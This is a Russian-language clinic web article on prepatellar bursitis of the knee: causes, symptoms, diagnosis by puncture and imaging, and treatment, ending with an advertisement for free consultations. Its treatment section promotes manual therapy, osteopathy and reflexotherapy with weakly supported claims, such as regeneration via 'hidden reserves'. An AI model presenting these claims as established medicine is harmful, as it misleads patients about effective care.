Как видите, препателлярная бурса подвержена травматическому воздействию, поскольку ничем, кроме кожных покровов она не защищена.

Очень часто, если человек вынужден многократно сгибать и разгибать ноги под нагрузкой, травмирование происходит за счет трения о костные структуры надколенника.

Его трещины, переломы, образование на поверхности надколенника остеофитов и костных мозолей – все это негативно сказывается на состоянии и функционировании препателлярный суставной сумки.

Постепенно в ней уменьшается количество синовиальной жидкости, она становится вязкой, что запускает процесс рубцовой деформации. Это дегенеративная этиология развития заболевания и она свойственна людям, находящимся в пожилом возрасте.

В более раннем периоде жизни причиной препателлярного бурсита могут стать:

• травматические нарушения целостности кожных покровов в области коленного сустава (ссадины, царапины, порезы, огнестрельные ранения;
• последствия хирургического вмешательства на коленном суставе;
• острый или хронический артрит колена, в том числе и ревматоидной этиологии (болезнь Бехтерева в суставной форме, системная красная волчанка, псориаз, склеродермия и т.д.);
• деформирующий остеоартроз (гонартроз) с нарушением анатомии сустава);
• аутоиммунные воспалительные процессы, повышенный уровень сенсибилизации организма;
• нарушение кровоснабжения окружающих колено тканей (болезни сосудов нижних конечностей, такие как варикозное расширение вен, облитерирующий эндартериит, атеросклероз и т.д.);
• сахарный диабет, осложнённой ангиопатией и нейропатией нижних конечностей;
• гипотиреоз, гипертиреоз;
• последствия пареза нижних конечностей на фоне синдрома «конского хвоста», грыжи пояснично-крестцового отдела позвоночника.

Перед началом лечения опытный доктор проведет сбор анамнеза и выявит потенциальные причины развития патологии. Затем он постарается максимально полно исключить их патогенное действие. Для этого пациенту даются индивидуальные рекомендации по организации спального и рабочего места, построению системы питания и физической активности, выбору обуви для спорта и повседневной носки и т.д.

Симптомы препателлярного бурсита коленного сустава

Посттравматический препателлярный бурсит может развиваться не сразу, а спустя 5 – 7 дней после удара или падения. Первые признаки могут выражаться в припухлости, болезненности при ходьбе.

Клинические симптомы препателлярного бурсита коленного сустава включают в себя:

• боль, которая значительно усиливается при попытке согнуть ногу в колене;
• если ходить, не сгибая ногу, то никаких неприятных ощущений это не вызывает;
• отек сначала локализуется в области суставной сумки, затем, при вовлечении в воспалительный процесс окружающих мягких тканей, распространяется вокруг всего колена;
• в первые дни после травматического воздействия в области надколенника может определяться гематома или кровоподтек;
• ограничение амплитуды подвижности голени (затруднено сгибание и разгибание колена);
• кожные покровы гиперемированы и горячие на ощупь;
• в тяжелых случаях может возникнуть повышение температуры тела и утрата работоспособности, озноб, головные и мышечные боли.

В запущенных случаях формируется хронический препателлярный бурсит, он характеризуется дегенеративными дистрофическими процессами внутрисуставной сумки. Уменьшается её объем, деформируются стенки, она утрачивает способность обеспечивать защиту надколенника и осуществлять амортизацию оказываемой нагрузки.

Дифференциальная диагностика

Диагностика заболевания должна быть дифференциальной. Важно исключать развитие гнойного бурсита во всех случаях, когда у пациента определяется сильная отечность вокруг колена и покраснение кожных покровов.

При дифференциальной диагностике опытный ортопед сначала проводит пальпаторное обследование.

Флюктуация в области препателлярный бурсы, резкое ограничение амплитуды подвижности голени и характерная локализация боли позволяет поставить предварительный диагноз.

Для его подтверждения делается пункция бурсы. Из неё извлекается синовиальная жидкость. Если в ней присутствует большое количество лейкоцитов, то говорят о гнойной инфекционной форме.

При извлечении крови исключают разрыв стенок бурсы. Если синовиальная жидкость мутная, но без следов гноя, то устанавливается диагноз серозного или катарального бурсита.

Он лечится консервативными методами мануальной терапии.

С целью дифференциальной диагностики проводится рентгенографическое исследование, позволяющее исключить перелом, трещину костной ткани, деформирующий остеоартроз и ряд других заболеваний. В сложных случаях назначается МРТ или артроскопия с диагностической целью.

Иногда можно увидеть диагноз: препателлярный бурсит голеностопного сустава – на самом деле такого заболевания не существует. Препателлярная суставная сумка есть только в области надколенника коленного сустава.

В области голеностопа такой бурсы нет. Соответственно и препателлярного бурсита голеностопного сустава в природе быть не может. Это не верный диагноз.

И если доктор вам его поставил – бегите подальше от такого «специалиста».

Лечение препателлярного бурсита коленного сустава

Ответ на вопрос о том, как лечится препателлярный бурсит, зависит от формы патологии. Если это гнойный инфекционный процесс, то без адекватной антибактериальной терапии обойтись не удастся. В ряде случаев даже проводится многократный прокол бурсы с целью промывания её внутренней полости антисептическими растворами.

Во всех остальных случаях лечение препателлярного бурсита лучше проводить несколько иными способами. Они должны быть направлены на восстановление физиологического баланса в месте патологических изменений. Именно такой подход позволит полностью восстановить состояние суставной сумки и исключить переход бурсита в хроническое рецидивирующее течение.

Хорошие результаты дает лечение препателлярного бурсита коленного сустава методами мануальной терапии. В нашей клинике применяются следующие виды воздействия:

• массаж и остеопатия для восстановления микроциркуляции крови и лимфатической жидкости, повышения уровня эластичности мягких тканей;
• рефлексотерапия – для запуска естественного процесса регенерации тканей за счет использования скрытых резервов организма;
• кинезиотерапия и лечебная гимнастика – для восстановления подвижности голени и улучшения состояния суставной сумки;
• физиотерапия, лазерное воздействие и ряд других методик.

Если вам требуется эффективное и безопасное лечение бурсита (даже гнойного, но после санации антибактериальной терапией), то вы можете обратиться на бесплатный прием к ортопеду в нашей клинике мануальной терапии. Специалист ознакомится с медицинской документацией, проведет осмотр и расскажет о перспективах и возможностях применения наших методик в вашем индивидуальном случае.

Консультация врача бесплатно. Не занимайтесь самолечением, позвоните и мы поможем +7 (495) 505-30-40

Источник: https://freemove.ru/health/prepatellyarnyy-bursit-kolennogo-sustava.php